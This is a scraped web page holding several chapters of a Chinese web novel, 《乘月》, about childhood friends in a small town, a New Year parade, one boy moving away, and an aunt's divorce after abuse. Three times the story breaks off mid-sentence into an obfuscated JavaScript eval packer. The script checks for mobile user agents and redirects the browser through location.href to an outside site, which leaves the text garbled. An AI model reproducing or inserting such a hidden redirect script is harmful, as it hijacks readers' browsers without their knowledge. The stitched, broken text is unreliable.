“我不管,反正我预定了,徐大师的处女作品必须给我。” 被他口中的徐大师取悦,徐澄月爽快地答应了。 因领唱的唱功了得,又有钢琴独奏,徐澄月班级顺利拿下一等奖。短暂调剂过后,继续投入毕业升学。 芜洋学校分小学和初中校区,县上在芜洋就读的学生只要不是分数极差,都能直升,县外的要求高些。所以对于方之敛、俞麒这类学习优异的,他们的重心放在竞赛上,成绩中等的,想冲刺个重点班,还是按部就班学习,吊车尾的,只能被两大学霸左右敲击。 俞麒看着俞麟的卷子,讲过无数遍还是错得一塌糊涂,捏着眉心担忧道:“直升可能都升不上。” 方之敛也有些疲惫,但耐心尚足:“熟能生巧,多做几遍就好了,韫北之前有些题也是。” 俞麒侧眸,三个已做完作业复习过一轮的人,因徐澄月要等俞麟,剩余两个陪着一起,等到相挨着睡着,真心实意道:“他们聪明多了。” 整个寒假,俞麟都处于水深火热中,好在过年前成绩稍有提升,不然以俞麒的性子,说不定大过年也会压着他在房间学习。 学习使他消瘦。除夕一大早,俞麟以这个为由,报了许多菜,让俞妈给他补身体。 钟屏忍俊不禁:“你哥和阿敛辛苦教你还没说什么呢,你倒先嚎起来了。” “哥哥和阿敛太厉害了,我太笨了。” 钟屏清楚自家小儿子是个乐观的,但也不忘诱导 11. 第11章 《乘月》全本免费阅读 朝城过年最热闹的要数游神。 从大年初一开始,各个区县下的小镇小村就开始热闹,游神队伍由种类不同的表演组成,会在村镇内各个地方游行一天。鞭炮齐鸣,锣鼓喧天,虎狮斗舞,神像出游,各色民俗齐上阵,整个朝城从上到下,都沉浸喜庆欢腾中。 芜洋县的日子设在大年初六,从小生活在这的徐、岳、方三人,理所当然成了领头人。先带三人逛一圈队伍会停留的地方,待到时间差不多,再去外街找大人们会合。 鞭炮声自很远处乍响,便知队伍已到街头。 人群开始朝前涌动,几个皮实的男孩仗着腿脚灵活,爬上后头的矮墙。江韫北稳稳站到上面后,立刻发话:“徐澄月,你不许上来,待会再摔下面可没人接你。” 一到高处,他就旧事重提,当着大人的面,徐澄月没面子极了,当下便去拽他的裤腿,要将他摇晃下来。 江韫北妥协:“好好好,别摇别摇,给你上来还不行吗?手给我,拉你。” 徐澄月搭上他的手,墙不算高,前有他和俞麟拉,再稍一踮脚,人就上去了。另一头,岳清卓也在方之敛的帮助下上了墙。 少一个人,徐澄月四处寻找,俞麒站在俞妈旁边,并不像周围人一样,雀跃地将身体往前倾,热闹对他来说似乎可看可不看,专注手里的魔方。 徐澄月喊他一起上墙,他摆手,说下面也看得见。她拿出杀手锏:“你不来,俞麟皮起来,我们可管不了。” 俞麟也跟着起哄,没办法,只能上去站到他身边。 大人们注意到他们的动作,也没阻拦,只嘱咐小心点,不要摔着。阿爷趁机揭一下江韫北的底:“这小子,5岁那年第一次看,被那群人涂着油彩的脸,和棒槌吓得哭惨了,我给哄完,那人脸一凑近,黑一块红一块白一块,又给吓哭了。” 周围是人群哄闹声,鞭炮声逐渐逼近,也抵不住阿爷的大嗓门,把江韫北这一糗事传个遍,先游行表演把他们一圈人惹笑。 江韫北气急败坏:“阿爷,陈年往事还抖出来做什么?” “也就六七年前的事,我敢赌,你现在还会被吓到。” 江韫北白他一眼,“老头子你可别乱传,5岁吓到,现在还能被吓?以为我光长个子不长胆子啊。” “话可别说太早咯!” 阿爷哼一声,接收到徐澄月的眼神,偷偷点头。 队伍浩浩荡荡游行下来,竹竿挑灯笼的人走在最前,马头锣一声响开路,高灯彩旗、彩裱,锣鼓队,每一段各有气势。俞麟第一次看,每看一种都要掐着伙伴的手臂欢呼呐喊,江韫北嘲他没见过世面,却不知自己也是伸长了脖子。 口哨声和棒锤敲打声愈渐响亮,徐澄月急急忙忙下去,一旁一直拉着她衣角的江韫北被吓到,连忙改抓她手,“徐澄月,做什么?等下又摔了!” “这个我想下去看,上面不好看。” 江韫北没法,只好先跳下去,再去接她,两人挤到前面。 近距离的感受震撼多了,棒槌声声用力激烈,舞动的人好似都修炼了轻功,跳跃、旋转、空中扫腿,气势磅礴。 阿爷笑着感慨:“想我年轻那会,也练过呢。” 江韫北立马回报刚刚抖糗事之仇:“哟,瞧不出来,您还有这么威武的一面。” 阿爷没有反驳,笑嘻嘻地和徐澄月对视,而后两人各抓住他一只胳膊,在边上最近那人凑脸过来时,把江韫北推出去。 “哇啊——” 一声堪比锣鼓声的惊吓的长鸣,将周围认真看表演的人吓到,那人也忍不住咧嘴笑,不得已转过去,继续投入表演。 幕后黑手阿爷和徐澄月也笑得合不拢嘴。 此刻,占据记忆深处的不是歌舞欢腾的游街队伍,也不是那群手敲棒槌,气势汹涌喊出“哈”的人,而是被吓到他们合力吓到表情扭曲,嘴里不断大骂“老头子,徐澄月”的江韫北。 什么感受呢?徐澄月想:正月初六是个好日子,每年一度吓江韫北的日子! 看完热闹回去,中午大家伙在江家聚餐,阿爷掌勺,父母们打下手,小孩们负责摆放桌椅碗筷。 江韫北还气呼呼的,用力度不小的动作发泄情绪,偏生俞麟还要拱火:“个子挺大,胆子不大呢。” 人一下炸毛:“你说谁呢?!” 俞麟:“谁被吓到我说谁!” 男孩间的一点即着的战火不是靠对骂或互殴解决,而是想尽办法在自己擅长而对方不擅长的领域碾压对方。江韫北提议来一局足球,俞麟反对,说足球时间太长,踢完盘子都空了,百米短跑最快决胜负。 期末体育考试,跑步一项江韫北分数比他低一点,但一屋子人看着,拒绝显得很没骨气,他硬着头皮答应了。 方之敛做裁判,赛道设在巷子,从巷头一户人家门口出发,到江家门口,恰好一百米。岳清卓坏心眼地加了椅子、箱子做路障,但丝毫不妨碍两个运动达人一路畅通。 徐澄月只觉眨了两下眼,两人踩了风火轮似的“咻的”一下出现在眼前,都是卯足劲跑,到终点,脸不红气不喘,像走过来的。但还是俞麟快一步。 手中两瓶水递上去,落下对这场比赛的评价:“你俩真幼稚。” “你懂什么!”江韫北灌下大半瓶,朝俞麟使眼色,伸手,他握上来,模样做的,像赛场上惺惺相惜的对手。 俞麟握紧他的手,附和:“就是就是,男生的交情,你们女孩子不懂。”补上一句:“我赢了。” “你赢了你赢了。” 徐澄月也不想懂,和岳清卓手挽手进去吃饭。 游神当天晚上有烟花和皮影戏,岳清卓想起中秋江韫北送给徐澄月的生日礼物,起哄让他拿出来,先到小卖部那边进货,再背去放烟火的地方,大家都有压岁钱在身,指定比中秋赚得多。 江韫北嘲笑她的无知,大摇大摆拿出收到的红包,一手红色看得人眼馋,“少爷不差那几个钱!” 徐澄月和俞麟十分有眼力见地凑上去:“少爷还差小跟班不?” “缺,跟紧点伺候着。”两人小太监似的跟在他后头。 岳清卓对着他的背影拳打脚踢,“晚上我就让舅妈把他的红包都给收了,看他还得瑟!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12852069|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拾出来的空地,让他们把钢琴放置好。 俞麟摸着亮得发光的琴架,问:“哇,老爸,这是你送给我哥的奖励吗?” 俞澍点头,“找朋友从国外买的,等了好几个月,正巧了,阿屏,你来看看这台钢琴怎么样?” 三人围在钢琴前,称赞俞澍的眼光好钢琴的质量不错,俞麟故作吃醋说他怎么没收到礼物,俞澍笑答他的礼物在路上,是他最想要的一款球鞋。 俞麟欢呼,推开父母,挎上哥哥,让他赶紧试试新礼物,肯定比以前那台老的好。 俞爸俞妈也附和,让他弹一首试试。 俞麒被拱着坐上去,双手惯性放上琴键,熟悉的曲谱在眼前跳跃,但他的手却仿佛失了力气,按不下去。他翻下琴盖,起身,说:“太晚了,会吵到别人的,明天再弹吧。” * 像商场双方谈判,江韫北和父母各坐一边,手边放着一杯茶。 夫妻俩被这严肃的氛围整得有些无措,对视一眼,江父开口,认真向儿子解释为什么回来开公司且将地点定在阳城。另一个原因,当着江菀母女的面他没说,洗漱后把江韫北单独叫到房间才讲清楚。 “而且再有一年你就要上高中了,市区的高中更多,整体质量也更好,哪怕分数不太够,交点择校费也能上。” 江韫北没好气地瞥他,“啧,说什么晦气话,我成绩有差到高中都考不上吗?择校费,你别侮辱……别侮辱阿敛,我可是他教出来的。” 看着儿子不服气的模样,江爸眉一挑,笑道:“哟,也是,不信你也得信阿敛。” 江韫北大剌剌在他们床上躺下,“阳城最好的学校是实验中学,虽然我现在成绩还稳定,但别想了,那是为阿敛和俞麒准备的。剩下的学校和朝城差不多,我可以留在这考。” 见他有认真考虑过高中的事,江妈很欣慰:“是可以,你在阳城也可以考回来,我和你爸,觉得这些年陪你的时间太少,现在回来,好不容易时间充裕点,能有一年也是好的,不然后面高中要是住校,大学再出去读了,咱一家三口在一起的时间,不就又少了吗?” 江韫北反问:“那你们就不担心我转学过去不适应,成绩下滑了?” 两人是想过这个问题的,但陪伴儿子的冲动大过这个,请家教或交择校费他们都出得起,于是一致认为这个因素影响不大。但现在他这么一反问,倒叫他们反思起来,毕竟承受这个结果的人是他,或许是他们太过自私了。 两人沉默下去。 江韫北从父母神色中看出愧疚,便没再多问,摆一摆手,说回去睡一觉,明天想好了再说。 他一走,江妈叹气,她不愿为难儿子,“要不还是让小北留这吧,他住习惯了,还有澄澄阿敛他们,估计也是舍不得。他说得对,万一转过去,不适应,拖累了学习不是要紧事,情绪再给影响了。还是咱俩每周回来一次吧。” 江爸搂住妻子安慰:“要不把年初你生病那事告诉他?” 江妈制止:“都过去那么久,也没什么事,再告诉他叫他害怕,别说了。” “不说他怎么知道咱为什么非得折腾一趟把他带过去,孩子越长大,离开我们的时间就越近,小北虽然贪玩,但也晓理。” 江妈:“这个年纪晓那么多理做什么?该任性的时候可别教他懂事。就这样,让他自己决定,我们谁也不要干扰他。” 江爸自是无条件听从妻子。 而屋外落下外套折返回来的江韫北,手按在门把,久久没有推门进去。 26. 第 26 章 第二天上学,江韫北明显情绪不佳。几人怕他心烦,没急着追问,偷偷去问岳清卓昨晚他和江叔江姨说什么了。 岳清卓把他们的谈话转述,但她不知道最后结果是什么。 于是一整天见他耷拉着张脸,不说话,应人也懒懒的,一直拿笔在纸上画,倒也不是闹脾气,反像是纠结、郁闷、烦躁,几种夹杂。 何意霖也瞧出来他的反常,问徐澄月,得知他可能转学的消息,一时无措。课上心不在焉,偷偷回头看他几眼,他拄着脑袋,心也不在教室。 这种情况延续到下午放学,回家路上,江韫北突然停住,说中午没吃几口,饿了,几人调转车头,骑去常去的烧烤摊。 简单的摊车,左右摆上几张桌子和塑料椅子,有些拥挤,是学生放学后聚集地之一。 方之敛和俞麒说拿奖金请他们吃东西,让他们放开点。 江韫北终于开了今天第一个玩笑,“徐澄月可是个能吃的,我今天也饿着,别给我们吃垮了。” 见他心情稍有好转,方之敛也跟着高兴,“不怕,我还有压岁钱。” 两大盘东西上桌,江韫北撸起袖子狼吞虎咽,席卷完大半,喝着大壶茶打着嗝,突然冒出一句,高中打算考哪所学校。 几人都愣住,竹签咬在嘴里没动。 从没被提起的话题,对他们来说算是人生第一个关口的重要事,在这个傍晚,嘈杂狭窄的走道里,被潦草又郑重地提起。 徐澄月放下东西,问他不会一天都在想这个事吧? “差不多。”江韫北神色变得认真,“都是朝中吗?” 几人沉默,都知晓他问出这个问题意味着什么,像精心打扮等待下车观赏终点风景,列车戛然而止,然后被告知需要提前下车,所有期待变成列车离开绵长的尾音,不甘但不得不回归平静。 几人中,方之敛是最开始思考这个问题的,很快给出答案,“嗯,朝中,离家不远,而且我爸妈提过,这两年可能会调去市里,医院会分配家属房,可以搬过去。” 俞麒跟在他后面,“我也是,朝中。”前阵他听到父母和小菀姑姑询问到市里买房一事,想来也在提前做打算了,毕竟父亲最重视他的学业。 岳清卓与他们同在快1班,成绩没他们拔尖但也不错,之前方之敛给她看过朝中的分数线,目前是够得上的。 俞麟有些尴尬,他从没想过这个问题,每天只顾着怎么玩怎么开心,而且他的成绩也远远够不到朝中的分数线,交择校费也上不了。 “我……”伙伴们志向远大,但他也不觉得丢脸,“我没想过,不过我的成绩,应该能上体校。” “你呢?”江韫北看向一直没说话的徐澄月。 徐澄月和俞麟一样,“反正朝城那么多学校,总有一所我能考上。” 江韫北拿筷子敲她,“你不和我们一块了?” “我们?”徐澄月有心逗他,“怎么,你也要去朝中?” 江韫北皱眉,筷子拍在桌上:“靠!徐澄月,你那是什么表情?” 方之敛按住他的筷子,“阿爷说了,饭桌不能摔筷子,不吉利。” 江韫北哼唧两声,松手,继续追问徐澄月。 “咱俩成绩差不多,离朝中还有点距离。” 方之敛给她吃定心丸,“放心,我给你补。” “还是阿敛靠谱。”徐澄月朝他举手拍掌。 “行,那就这么说定了,咱朝中见。”江韫北一口闷完一次性杯中的茶,“俞麟你也上心点,不然到时我们在一起,你又孤零零的。” 说罢,他抓起书包,让方之敛结账走人。 回到家,江妈正巧在和阿爷说搬家的日子,他凑过去问:“我们什么时候搬家?” 江妈一愣,她已经做好儿子独自留下的准备了。 江韫北故作惊讶,“不会吧,新房没给我留房间?” 江妈嗔道:“这孩子,瞎说什么呢。买的四房二,给阿爷还有清卓小菀也留了。” 阿爷在一旁收红薯粉,闻言呵呵笑,说还有我的份啊。 江妈过去帮忙:“两地儿,隔一阵住一边。” 阿爷笑着应好,却悄悄叹了声气。 江韫北帮着拎起三色纸四个角,“得,那我得去学校办手续了吧?” 江妈犹豫,“小北,你要是想……” 江韫北:“想把我丢给我阿爷,夫妻俩接着过二人世界啊?那不行,老头子多大年纪了,还天天给你们带孩子,小心被外面人骂你们不孝顺。” 阿爷双手粉白,抬眸觑他,哼笑一声,骂臭小子,歪理真多。 * 阿爷请人看了个黄道吉日,确定下来搬家的日子,在农历12月中旬。说是搬家,其实主要还是搬江韫北的东西。转学事宜也和学校沟通妥当,上完这学期,初二下学期就转去阳城中学。 伙伴们为不久后的分离伤心,江韫北却没了一开始的焦躁,和往常一样,该做什么做什么,反倒安慰他们,只是不在一起上课,节假日还是会回来一块玩。而且约好了考朝中,也就一年半的时间。 而其中情绪最明显的当属俞麟,他们六人中,除去俞麒,江韫北与他志趣最是相投,人一走,他少一个玩得来的伙伴,少一个球场上、跑道上实力相当的对手。为补偿未来一年多他的缺席,俞麟义正言辞要求他趁还没搬,陪他多踢几场。 十分没有道理的要求,江韫北被迫答应,周末待在球场的时间长了些。 除此之外,生活没什么其他变化,只是去找俞麒和方之敛的次数也多了。他的成绩其实比徐澄月差,比以往朝中的录取分数线还差个近百分。在将一道题琢磨一个多小时才琢磨懂的时候,他无比后悔当初为什么不和俞麟一样,多参加几场球赛,拿几个奖,以特长生身份考,总归容易点。或者去了阳城也可以试试走这条捷径。 他询问方之敛这个办法的可行性,方之敛却不同意,理智给他分析: “不说那里的球队质量如何,你是中途加进去,肯定要磨合很久,可能还只能以候补选手的身份参赛,付出时间却得不到什么,不划算。还不如把时间花到学习上,多提点分。而且之前参加的两场足球赛,拿的名次都不错,是市里的,规格大,应该也能申请上。” 方之敛的分析中肯在理,免去他摇摆不定,最后两手空空,于是把心完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12867667|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放在文化课上。虽然面上还照常嘻嘻哈哈,话多得不行,晚上房间的灯却经常开到深夜。 有了倒数期限的日子,像歌曲按了快进键,倍速播放,戛然而止。 江韫北没了初来朝城上学的高调,他只想安静退场,幕布一拉,没人瞧见,等来年他们发觉了感概一句“江韫北怎么不在了”,事也就过去了。但谢之庭却在放假前的班会上,郑重其事宣布他要转学了,愣是把班会过成欢送会。 江韫北在一众惋惜中被哄上台,自我介绍他在行,离别这种伤感场面却令他棘手,只好插诨打科,说了一堆不着调的话,才将场面控制住。 老谢准备了蛋糕零食,他从讲台上下来,便吆喝同学们开动。几个交情好的上来同他说话拥抱,称不知道这是最后一天一起上课,没将手机偷偷带来合个影。江韫北嘴上嘲他们矫情,又不是不回来了,拥抱的力气不比对方小。 最后是何意霖提议,大家一起给他写个同学录,她正好准备了一本,写完直接送给他。 江韫北倒是惊讶,“你怎么还有这玩意儿?” 何意霖大方承认,“本来就是准备让同学们给你写的,只是你之前一直没提转学的事,我也不好替你嚷嚷出去。” 江韫北在班里人缘还不错,长得俊朗高大,一张嘴又能把人哄开心,体育强项,在之前的运动会上出力不少,几乎全班同学都在同学录上留言了。 除了徐澄月。 江韫北在操场,之前放置拆建木板的位置找到她。木板已被清空,她坐在草地上,低头驼背,江韫北一看就知道她又在雕木头。 听到他声音,她急急忙忙将东西往书包里一塞,紧紧压在腿下。 “啧,徐澄月,你藏什么呢?”江韫北去揪书包带,被她打掉手。 “要你管,我的东西。”徐澄月压得更紧了。 见她护得紧,江韫北没再抢,问她怎么跑出来吹风了。 徐澄月一愣,该怎么说?说教室那个氛围,让她意识到不久后他真的要走了,还是说她心生不舍怕待下去会伤心。不,不能说,说了只会让他把尾巴翘到天上。 “没什么,我怕被老谢抓到。” “哦。” “徐澄月……” “江韫北……” 江韫北抢白:“我先说。后面一年多我不在这了,你可得帮我看着岳清卓,她现在学了点手脚功夫把自己当救世英雄,动不动就拔腿相助,你得看紧她,别把人打坏了。俞麒也得盯着,别叫他抢了我在阿敛心里的地位,哦你得提防着点他周围的女生,要是再像上次那样,说你坏话,你就喊我姐去揍她们。还有俞麟,他有点二,你别给他传染犯蠢,哦对,他跑起步来不要命,回头我得和屏姨说声。还有你啊,别趁我不在就偷懒,身体还是要锻炼,不然早晚变胖子加驼背加近视。我阿爷,老头子最听你话,天热天冷让他少去看他那些老家伙,再给摔里头没人知道……” 他絮絮叨叨,把身边人都提了一遍,将徐澄月的伤心一缕一缕勾出来。他说得口干舌燥,拿她的水喝时,徐澄月突然开口,声如被风带走的沙,细碎得抓不住,“江韫北,现在我才觉得,你是真的要走了。” 27. 第 27 章 寒假第一天,江韫北独自一人去了市中心购物广场,他想给朋友们买点临别礼物。 下车先往宠物店去,半小时后拎出来一只身体黑黢黢,只有肚子是白色的小猫。 花了半天,回到家,他提着小猫直奔丁爷爷家。 丁爷爷正在屋内摇着躺椅听潮剧,见到他和手中的东西,问他怎么提着只老鼠。 江韫北歪头惊讶,凑近给他看,“才不是老鼠,是猫!两个月大的小猫!” 丁爷爷忍俊不禁,“是爷爷眼花,来找澄澄是吧,她在屋里上色呢。” 江韫北悄咪咪进去,本想把猫放出笼子,让它蹭过去找徐澄月给个惊喜,又怕她和丁爷爷一样把猫认成老鼠一脚给踩死,酿成事故,思及此,他举着笼子,大声吆喝徐澄月看。 “猫!”徐澄月噌地挺直身体,丢下画笔冲过来,花花绿绿的手随意在围裙上擦了擦,将猫抱出来,让它趴在臂弯里,“江韫北,你上哪弄来的猫?” 江韫北欣慰,“哟眼神不错,没把它认成老鼠。路上捡的,差点被老鼠当成它孩子给叼走。” “真的?”徐澄月信以为真。 江韫北噗嗤一声,笑她蠢,“当然是买的!” 徐澄月不理会他间歇性抽风,“你买猫做什么?” 江韫北却突然扭捏起来,说话细若蚊声:“送、送你的。” “什么?” 他用大嗓门来掩饰害羞,“我要去阳城了送你的临别礼物,感谢你这几年对我的照顾。”他特地加重了照顾二字。 徐澄月难以置信,手摸上他的额头,“江韫北,你没事吧?”她认识的江韫北可没这么客气。 “哎呀,总之你就养着,”他稍顿,嘿嘿一笑,“让你睹物思人。” 徐澄月嘴角一抽,这才是江韫北。 “它有名字吗?”徐澄月小心翼翼握着猫爪。 “没有,不过我路上想了一个,叫烤鸽怎么样?” “烤鸽?”徐澄月皱眉,名字太拗口。 江韫北捏着后颈把猫抓过来,捂住它肚子让它躺着,手挡住猫头和猫尾巴,“你看,这乌漆嘛黑的身体,像不像被烤焦的鸽子?就之前我偷来烤的那只。” 说的是去年暑假阿爷找人买的家养鸽子,原本想给他们炖汤喝,江韫北趁他午睡,悄悄拿到农田里,架起几根木棍烤。被阿爷发现,追着打了好几圈,他们几个人光顾着看戏和阻拦,等战局停歇,鸽子被烤焦了,像厨房灶头里烧焦的柴火一样,又黑又干。和现在被江韫北按住,动弹不得的小猫,倒是有点像。 徐澄月看着他得意的模样,不由得笑,以前总觉得他不正经,脑筋直,一张嘴像《九品芝麻官》里的周星驰,能把河水说喷,把死人说活,脾气还大,被人找麻烦,睚眦必报,被自己人惹怒,也爱炸毛拿乔,她曾一度以为江叔江姨抱错了孩子,他们那样温柔和善的人,怎么会生出一个江韫北? 后来徐澄月觉得,他就像榴莲,看着浑身刺,伤他必自损,闻着臭,吃着却香,而且自带神秘感,不掰开到最后一步,永远不知道里面藏着多少惊喜。 总是能出其不意地,带来让人眼前一亮的东西。 “好啊,就叫烤鸽。”名字虽然拗口,但贴切,也是一个惊喜。 思及此,徐澄月看一眼桌上的东西,还差一点,她让江韫北等会,江韫北也没打算走,经丁爷爷同意,钻到厨房里搬出炉子,两人在天井里烤起地瓜。炉火热,烤鸽也窝在他脚边酣睡。 江韫北拨弄它的屁股,小声嘟囔:和蠢月亮一个蠢样,猫随猫主。又不忍心它柔软的身体躺在硬邦邦冰冷的地面,进去拿了块坐垫给它垫着。 等炉子飘出番薯香,徐澄月的东西也收完尾了。 她抱起烤鸽,在江韫北身边坐下,探头盯着炉中的番薯,装作随意地将手里的东西一递,语气更是随意,“喏,送你。” 是她刻的木雕。 没想到有回礼,江韫北喜出望外,手指脏兮兮的,他用手腕接过来,“什么好东西?” “怎么样,像吧?隔了这么久我还印象深刻。”做这个途中,每每想起当时,她都要停下来笑好一会,严重拖迟了进度。 江韫北一开始看不出是什么,等徐澄月拿过放在地上,他一眼认出,脸色迅速涨红。她刻的是自己,他们第一次见面,他被她一个射门,踢趴在地上的场景,旁边还有一个足球。活灵活现,让江韫北瞬间回想起当时的狼狈模样。 他又气又笑,握着“他”的腿,不敢用力,怕折了。既想夸徐澄月进步挺大,刻得像模像样,又觉得丢脸,敢情在她心里,对他印象最深的一直就是这蠢样?骂骂咧咧的字句在嘴边起落半晌,最后只是无奈地小吼一句:“徐澄月,这玩意你让我怎么摆?” 徐澄月告诉他怎么摆,“他”脚下有一个椭圆形脚架,紧贴墙壁,立起来摆。 江韫北叉着腰在书桌前来回踱步,气得直笑,几次想把东西拿下来,触及徐澄月的眼神,又不得不缩回去,他咬牙切齿道:“摆得真好,都让我上墙了。” 徐澄月拍拍他的肩膀,憋笑,“最好不要再让我看见你什么糗样,不然我再和丁爷爷学几年,能摆满你一书桌。” 交友不慎,江韫北仰天叹息。 * 农历十二月十五,清早,江爸雇了辆七座客车,将老人孩子一车载过去,剩下的自行开车。除去有手术的徐妈,几家人齐聚江家在阳城的新房。 江爸江妈先带大家逛一圈小区,拐进自己住的那栋,电梯按到15楼,侧边的徐阿嬷瞥到,直呼“15楼啊,这么高,咱那最多也就建到6楼”。 江爸解释:“这些都是商品楼房,建的越高,能卖的房子越多,不过建高楼层也要报备,不是随便就能建的。” 徐阿嬷还是有些怕,紧贴着电梯,“这么高,要掉下去,骨头都瞧不见。” 一行人哄然大笑,徐爸安慰:“放心吧妈,掉不下去的。” 徐澄月站过去挽住她的胳膊,“别怕阿嬷,我会抓好你的。” 昨晚母亲特地告诉她,明天她不在,要她多照顾些阿嬷。 徐阿嬷没有像往常一样拂开她的手,不冷不淡地“嗯”一声。 到家,江爸领着人先参观一遍房子,200平,四房两厅,最大一间客房留给了江菀母女。 江菀知道他们在新房给她留了房间,但不知道是最大的客卧,当下便拒绝,出嫁后一直住在娘家已经让她很不好意思了,他们自己挣钱买的房子,还要给她留地方,江菀不知道这是哥嫂的意思还是自家父亲的示意,但无论出于谁,她都不愿接受。 江妈递给儿子一个眼神,江韫北会意,把伙伴带去他的卧房,留下大人。 江爸出言,让江菀别多想,这是他们夫妻俩的决定。他知道,妹妹已经在考虑离婚的事。 见江菀脸色不好,江妈、方妈和俞妈三人围上去,一人一句安慰着。 江妈知晓江菀担心她会不满他们父子对她的偏袒,宽她的心,“小菀,这是我和你哥商量好的。老家的房子给你,这里我们也给你留一间,你和清卓怎么样都有退路,想离婚就离婚,岳冬不是个靠得住的。要是怕家里那边的人说什么,你就带着清卓出来。” 小地方的人,将离婚视作一件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12883830|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不光彩的事,尤其是对女人。无论离婚的原因是什么,女人们通常被冠以不负责任、自私、吃不了苦的骂名,离婚这个“罪名”会伴随一辈子,而男人两袖清风,倘若事业上拼出点成绩,人们还会给予赞许,称那女人没有眼光。无法理解的,他们给予女人最狭窄的揣测和不善的对待。 这样的思想延续下来,他们认为家和万事兴,夫妻间哪有没有嫌隙的时候,忍忍就过去了。 江阿爷一开始也这么劝说女儿,可后来几次看到她身上的伤,看着孙女苦练手脚把自己也搞的一身伤,便主动提起让他们把婚离了。 只是现在这个岳冬,见到江峤夫妇小有成就,江菀自己经营的服装店收入也不少,便死赖着不肯离,非要她将服装店一半收入分给他,江菀不肯,于是一再搁置。 但她已经打定主意,这婚非离不可,为女儿,也为她自己。 她向他们说起自己的打算:“这些年我攒一笔钱,除去给爸养老的,剩下的足够我付一套房的首付。我咨询过律师,到时候我把户主写成清卓的名字,属于赠予儿女,岳冬分不到半点。” 众人对她的决定一致赞同,江爸甚至主动提出,愿意帮她分担一些费用,江菀拒绝,虽然家人是她的后盾,但她总要依靠自己活下去。 今天是来给哥哥暖房,江菀叫停这个话题,继续参观房子。 徐阿嬷走在最后,摇头晃脑,小声念叨:“一个女人离婚带着孩子,像什么话?” 钟屏走在她前面,耳尖听到,甩着波浪卷回头,“婶,新时代了,咱女人不能过得太憋屈,该离就离。” 没办法改变老一辈的思想,但钟屏觉得,她就是要大声说出来。 另一边房间里,和伙伴们一样,江韫北也是第一次来自己房间,江妈布置得很好,以前城里那房子他的东西都搬过来了,模型、游戏机游戏卡、还有些杂七杂八的玩意,都被归置在收纳箱里,如果没有书架上整两排教辅材料和课外书籍,他会更喜欢这个房间。 俞麟兴致勃勃拿着游戏机看,俞麒和方之敛对书架比较感兴趣,徐澄月立马在书桌上找到放木雕的最佳位置,只岳清卓望着门口,闷闷不乐的。 徐澄月注意到,牵着她去看她给江韫北做的木雕,其余人也觉察到她的情绪,纷纷上前来。 岳清卓不想影响朋友们的心情,佯装跋扈地指向挂着白色窗纱的落地窗,“江韫北,我喜欢这个落地窗。” 江韫北肩一耸,无所谓道:“这有什么,你过来住,房间给你,我睡沙发。” 新居第一天要住人,阿爷和江菀母女今晚一道住那。 洗漱后,母女俩躺在床上,岳清卓说完近日学校和练拳的趣事,也听着母亲说最近流行的服饰和店里的营收,这些天她太忙了,她们有一段时间没这样互相分享了。 事情说完,江菀犹豫半晌,还是将准备离婚的事告诉她,“清卓,你会支持妈妈吗?” 这是母亲第一次说,但她早有预感,“妈,离婚会让你开心吗?” 开心吗?黑暗中的江菀想起和岳冬结婚前,他信誓旦旦说要让她开心过一辈子,她抱着憧憬与他组建这个家庭。渐渐的,憧憬被磨平在柴米油盐中,变成责任,后来,责任变成她一个人的,她原本想隐忍,熬一熬也就过去了,但暴力让她失去了责任。钟屏点醒她,婚姻并非生死状,非要有个你死我活才能结束,它更像一纸合同,目标一致,高楼平地起,出现分歧,各走一边。 不是什么大不了的事。 “会。”江菀有信心,单身母亲也能给女儿好的生活。 岳清卓握住她的手,“那我就支持。” 28. 第 28 章 从阳城回到家,徐妈已经下班,给他们做了海鲜粿条当宵夜。徐阿嬷说不饿,径自回房了。 徐妈看着老太太脸色不太好,问埋头吃东西的父女二人,是不是惹阿嬷不开心了。 两人双双放下筷子说没有,她叮嘱过要照顾好阿嬷,他们都牢牢记着。 “兴许是听见江菀要离婚的事,她最好管这些事了。”徐爸脱口而出这话,忘了女儿还在场。 说漏了,徐妈也没遮掩,只告诉徐澄月,要多注意清卓的情绪,多陪着她,免得她胡思乱想又经常跑去练拳,弄一身伤回来。 徐澄月点头,她比谁都要在意清卓。 徐妈见他们吃得差不多,有事和他们说,让两人各自把碗洗了到客厅来。 三张椅子,摆了三杯茶,有些严肃的场面,让父女俩捏把汗。 徐爸偷偷碰女儿胳膊,问她有没有犯错惹妈妈不高兴。徐澄月反将一军,让他反思,她最近可乖了。 两人忐忑坐下,徐爸腆着笑脸殷勤地问什么事要这么正经地宣布。 